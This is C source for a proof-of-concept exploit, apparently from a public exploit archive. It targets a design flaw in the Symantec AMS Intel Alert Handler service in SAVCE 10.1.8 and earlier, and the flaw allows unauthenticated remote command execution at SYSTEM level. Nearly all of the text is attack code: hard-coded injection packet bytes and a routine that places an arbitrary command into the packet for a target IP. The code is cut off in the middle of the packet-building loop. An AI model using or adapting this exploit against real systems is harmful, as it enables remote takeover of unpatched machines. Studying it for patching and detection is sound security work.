// Remote command execution at System level without authentication // Advisory:https://www.foofus.net/?page_id=149 // Exploit Title: Symantec AMS Intel Alert Handler service Design Flaw // Date: 07/28/10 // Author: Spider // Software Link: http://www.foofus.net/~spider/code/ams-cmd.cpp.txt // Tested on: Symantec SAVCE 10.1.8 and earlier with AMS installed // POC code to execute commands on system vulnerable to AMS2 // design flaw of Intel Alert Handler service (hndlrsvc.exe) // within Symantec SAVCE 10.1.8 and earlier // ***Created by Spider July 2009*** //--------------------Foofus.net------------------------- #include #include #include #include #include unsigned char payload[1000]; unsigned char inject1[] = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00" "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00" "\xe8\x03\x00\x00\x50\x52\x47\x58\x43\x4e\x46\x47\x10\x00\x00\x00" "\x00\x00\x00\x00\x04\x41\x4c\x48\x44\x5c\x46\x00\x00\x01\x00\x00" "\x00\x01\x00\x0e\x00\x52\x69\x73\x6b\x20\x52\x65\x70\x61\x69\x72" "\x65\x64\x00\x25\x00\x53\x79\x6d\x61\x6e\x74\x65\x63\x20\x41\x6e" "\x74\x69\x56\x69\x72\x75\x73\x20\x43\x6f\x72\x70\x6f\x72\x61\x74" "\x65\x20\x45\x64\x69\x74\x69\x6f\x6e\x00\xf9\x1d\x13\x4a\x3f\x0c" "\x00\x4c\x41\x42\x53\x59\x53\x54\x45\x4d\x2d\x31\x00\x08\x08\x0a" "\x00\x52\x69\x73\x6b\x20\x4e\x61\x6d\x65\x00\x07\x00\x05\x00\x54" "\x65\x73\x74\x00\x08\x0a\x00\x46\x69\x6c\x65\x20\x50\x61\x74\x68" "\x00\x07\x00\x05\x00\x54\x65\x73\x74\x00\x08\x11\x00\x52\x65\x71" "\x75\x65\x73\x74\x65\x64\x20\x41\x63\x74\x69\x6f\x6e\x00\x07\x00" "\x05\x00\x54\x65\x73\x74\x00\x08\x0e\x00\x41\x63\x74\x75\x61\x6c" "\x20\x41\x63\x74\x69\x6f\x6e\x00\x07\x00\x05\x00\x54\x65\x73\x74" "\x00\x08\x07\x00\x4c\x6f\x67\x67\x65\x72\x00\x07\x00\x05\x00\x54" "\x65\x73\x74\x00\x08\x05\x00\x55\x73\x65\x72\x00\x07\x00\x05\x00" "\x54\x65\x73\x74\x00\x08\x09\x00\x48\x6f\x73\x74\x6e\x61\x6d\x65" "\x00\x0e\x00\x0c\x00\x4c\x41\x42\x53\x59\x53\x54\x45\x4d\x2d\x31" "\x00\x08\x13\x00\x43\x6f\x72\x72\x65\x63\x74\x69\x76\x65\x20\x41" "\x63\x74\x69\x6f\x6e\x73\x00\x07\x00\x05\x00\x54\x65\x73\x74\x00" "\x00\x07\x08\x12\x00\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69" "\x6f\x6e\x4e\x61\x6d\x65\x00\x22\x00\x20"; unsigned char cmdother[] = "\x00\x08\x0c\x00\x43\x6f\x6d\x6d\x61\x6e\x64\x4c\x69\x6e\x65"; unsigned char inject2[] = "\x00\x08\x08\x00\x52\x75\x6e\x41\x72\x67\x73\x00\x04\x00\x02\x00" "\x20\x00\x03\x05\x00\x4d\x6f\x64\x65\x00\x04\x00\x02\x00\x00\x00" "\x0a\x0d\x00\x46\x6f\x72\x6d\x61\x74\x53\x74\x72\x69\x6e\x67\x00" "\x02\x00\x00\x00\x08\x12\x00\x43\x6f\x6e\x66\x69\x67\x75\x72\x61" "\x74\x69\x6f\x6e\x4e\x61\x6d\x65\x00\x02\x00\x00\x00\x08\x0c\x00" "\x48\x61\x6e\x64\x6c\x65\x72\x48\x6f\x73\x74\x00\x0b\x00\x09\x00" "\x44\x45\x41\x44\x42\x45\x45\x46\x00\x00\x00\x00\x00"; void banner (char *proga) { system("cls"); printf("\nUse: %s \n", proga); } int main ( int argc, char *argv[] ) { SOCKET sock; WSADATA wsa; struct sockaddr_in addr; printf(" __ ___ __ __ __ \n"); printf(" | / \\ | / _/___ |__| _\\ |___ _ __ | / \\ | \n"); printf("\\_\\\\ //_/ \\_ \\ . \\| |/ . / ._\\| `_/ \\_\\\\ //_/\n"); printf(" .'/()\\'. /___/ _/|__|\\___\\___\\|_| .'/()\\'. \n"); printf(" \\ \\ / / |_\\ \\ \\ / / \n"); printf(" AMS Remote Command Tool\n"); int port; if ( argc < 3 ) { banner(argv[0]); exit(0); } char *ip_addr = argv[1]; int length = (int)strlen(argv[2]); if (length > 128) { printf("\n WARNING WARNING WARNING %s \n"); printf("\n Input Command String Greater than 128 Characters is not Permited %s \n"); exit (0); } // building injection packet inject1[353] = length+3; inject1[355] = length+1; memcpy(payload,inject1,356); int a = 356; for (int i = 0; i<(length); i++) { a=a+1;payload[a] = argv[2][i]; } int b = a; for (int i = 0; i<=14; i++) { b=b+1;payload[b] = cmdother[i]; } int c = b; payload[c+2] = length+3; payload[c+4] = length+1; int d = c+5; for (int i = 0; i

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